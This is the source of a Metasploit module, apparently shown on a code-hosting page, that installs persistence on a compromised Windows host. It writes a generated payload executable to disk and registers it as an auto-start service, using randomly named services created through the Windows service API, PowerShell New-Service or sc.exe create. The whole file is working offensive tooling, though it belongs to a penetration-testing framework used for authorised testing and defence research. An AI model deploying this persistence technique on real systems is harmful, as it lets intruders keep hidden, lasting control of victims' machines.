Path: blob/master/modules/exploits/windows/persistence/service.rb
32103 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Post::Windows::Services9include Msf::Post::File10include Msf::Post::Windows::Priv11include Post::Windows::Powershell12include Msf::Exploit::EXE13include Msf::Exploit::Local::Persistence14prepend Msf::Exploit::Remote::AutoCheck15include Msf::Exploit::Deprecated16moved_from 'exploits/windows/local/persistence_service'1718def initialize(info = {})19super(20update_info(21info,22'Name' => 'Windows Persistent Service Installer',23'Description' => %q{24This Module will generate and upload an executable to a remote host.25It will create a new service which will start the payload whenever the service is running. Admin or system26privilege is required.27},28'License' => MSF_LICENSE,29'Author' => [30'Green-m <greenm.xxoo[at]gmail.com>', # original module31'h00die' # persistence updates32],33'Platform' => [ 'windows' ],34'Targets' => [['Windows', {}]],35'SessionTypes' => [ 'meterpreter' ],36'Privileged' => true,37'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],38'DefaultTarget' => 0,39'References' => [40['URL', 'https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-service?view=powershell-7.5'],41['URL', 'https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754599(v=ws.11)'],42['ATT&CK', Mitre::Attack::Technique::T1543_003_WINDOWS_SERVICE],43['ATT&CK', Mitre::Attack::Technique::T1569_002_SERVICE_EXECUTION],44['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],45],46'DisclosureDate' => '2018-10-20',47'DefaultOptions' => {48'EXITFUNC' => 'process' # process keeps powershell from returning errors on service start49},50'Notes' => {51'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],52'Stability' => [CRASH_SAFE],53'SideEffects' => [IOC_IN_LOGS]54}55)56)5758register_options(59[60OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),61OptString.new('SERVICE_NAME', [false, 'The name of service. Random string as default.' ]),62OptString.new('SERVICE_DISPLAY_NAME', [false, 'The display name of service. Random string as default.']),63OptString.new('SERVICE_DESCRIPTION', [false, 'The description of service. Random string as default.' ]),64OptEnum.new('METHOD', [false, 'Which method to register and start the service', 'Auto', ['Auto', 'API', 'Powershell', 'sc.exe']]),65]66)67end6869def writable_dir70d = super71return session.sys.config.getenv(d) if d.start_with?('%')7273d74end7576def check77print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value78return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)7980return CheckCode::Safe('You must be System/Admin to run this Module') unless is_system? || is_admin?8182CheckCode::Appears('Likely exploitable')83end8485def install_persistence86fail_with(Msf::Module::Failure::NoAccess, 'Insufficient privileges to create service') unless is_system? || is_admin?8788rexename = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(4..8)89@service_name = datastore['SERVICE_NAME'] || Rex::Text.rand_text_alpha(8..12)90@service_dname = datastore['SERVICE_DISPLAY_NAME'] || Rex::Text.rand_text_alpha(4..8)91@service_description = datastore['SERVICE_DESCRIPTION'] || Rex::Text.rand_text_alpha(8..12)9293rexename << '.exe' unless rexename.end_with?('.exe')9495vprint_status('Compiling payload')96@dest_pathname = writable_dir + '\\' + rexename97exe = generate_payload_exe_service({ servicename: @service_name, arch: payload.arch[0] })98write_file(@dest_pathname, exe)99print_good("Payload written to #{@dest_pathname}")100101success = false102if datastore['METHOD'] == 'API' || datastore['METHOD'] == 'Auto'103vprint_status('Attempting API method')104success = api_service105end106if (datastore['METHOD'] == 'Powershell' || datastore['METHOD'] == 'Auto' && !success) && have_powershell?107vprint_status('Attempting Powershell method')108success = powershell_service109end110if datastore['METHOD'] == 'sc.exe' || datastore['METHOD'] == 'Auto' && !success111vprint_status('Attempting sc.exe method')112sc_service113end114115@clean_up_rc << "rm \"#{@dest_pathname.gsub('\\', '\\\\\\\\')}\"\n"116@clean_up_rc << "execute -H -f sc.exe -a \"stop #{@service_name}\"\n"117@clean_up_rc << "execute -H -f sc.exe -a \"delete #{@service_name}\"\n"118end119120def powershell_service121vprint_status("Install service: #{@service_dname} (#{@service_name})")122service_builder = "New-Service -Name '#{@service_name}' "123service_builder << "-DisplayName '#{@service_dname}' "124service_builder << "-Description '#{@service_description}' "125service_builder << "-BinaryPathName '#{@dest_pathname}' "126service_builder << '-StartupType Automatic'127resp = cmd_exec("powershell -NoProfile -Command \"#{service_builder};\"")128return false if resp.include?('Access is denied')129return false unless resp.include?('Stopped')130131vprint_status("Service install response: #{resp}")132vprint_status('Starting service')133resp = cmd_exec("powershell -NoProfile -Command \"Start-Service '#{@service_name}'\"")134vprint_status("Service start response: #{resp}")135true136end137138def sc_service139vprint_status("Install service: #{@service_dname} (#{@service_name})")140sc_cmd = "sc.exe create #{@service_name} "141sc_cmd << "binPath= \"#{@dest_pathname}\" "142sc_cmd << 'start= auto '143sc_cmd << "DisplayName= \"#{@service_dname}\""144resp = cmd_exec(sc_cmd)145return false if resp.include?('FAILED')146147vprint_status("Service install response: #{resp}")148vprint_status(cmd_exec("sc.exe description #{@service_name} \"#{@service_description}\""))149vprint_status('Starting service')150resp = cmd_exec("sc.exe start \"#{@service_name}\"")151vprint_status("Service start response: #{resp}")152true153end154155def api_service156vprint_status("Install service: #{@service_dname} (#{@service_name})")157resp = service_create(@service_name,158{159display: @service_dname,160path: @dest_pathname161})162return false unless resp == 0163164vprint_status("Service install code: #{resp}")165vprint_status('Starting service')166vprint_status("Service start code: #{service_start(@service_name)}")167true168end169end170171172